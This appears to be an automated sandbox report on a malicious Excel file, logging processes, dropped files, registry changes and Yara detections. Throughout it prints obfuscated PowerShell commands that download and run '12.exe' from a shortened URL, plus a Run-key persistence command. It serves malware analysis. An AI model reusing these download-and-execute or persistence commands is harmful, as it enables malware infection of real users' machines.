Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\12.exe C:\Users\user\AppData\Local\Temp\12.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /c REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Process created: C:\Users\user\ntrwe.exe 'C:\Users\user\ntrwe.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process created: C:\Users\user\AppData\Local\Temp\RegAsm.exe C:\Users\user\AppData\Local\Temp\RegAsm.exe	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process created: C:\Users\user\AppData\Local\Temp\RegAsm.exe C:\Users\user\AppData\Local\Temp\RegAsm.exe

Source: C:\Users\user\AppData\Local\Temp\12.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: RegAsm.pdb source: RegAsm.exe
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000006.00000002.2099102007.0000000002720000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2140184576.000000001B940000.00000002.00000001.sdmp, powershell.exe, 00000009.00000002.2158358112.000000001B8A0000.00000002.00000001.sdmp

Data Obfuscation:

Obfuscated command line found

Show sources

Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 12.exe PID: 2800, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2192, type: MEMORY
Source: Yara match	File source: 17.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_012A5456 push ss; retf	11_2_012A5459
Source: C:\Users\user\AppData\Local\Temp\12.exe	Code function: 11_2_0031AB04 pushad ; ret	11_2_0031AB2D
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_00E95456 push ss; retf	15_2_00E95459
Source: C:\Users\user\ntrwe.exe	Code function: 15_2_005013F1 push edx; retf	15_2_00501403
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 17_2_0025523F push cs; iretd	17_2_00255240
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 17_2_00402AC0 push eax; ret	17_2_00402AD4
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 17_2_00402AC0 push eax; ret	17_2_00402AFC
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: 19_2_0123523F push cs; iretd	19_2_01235240

Persistence and Installation Behavior:

Drops PE files to the document folder of the user

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\12.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Documents\12.exe	Jump to dropped file
Source: C:\Users\user\ntrwe.exe	File created: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\12.exe	File created: C:\Users\user\ntrwe.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\12.exe

File created: C:\Users\user\ntrwe.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Users\user\AppData\Local\Temp\12.exe

File created: C:\Users\user\ntrwe.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run jfdts			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run jfdts			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\AppData\Local\Temp\12.exe	File opened: C:\Users\user\AppData\Local\Temp\12.exe\:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\ntrwe.exe	File opened: C:\Users\user\ntrwe.exe\:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\ntrwe.exe	File opened: C:\Users\user\ntrwe.exe\:Zone.Identifier read attributes \| delete

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
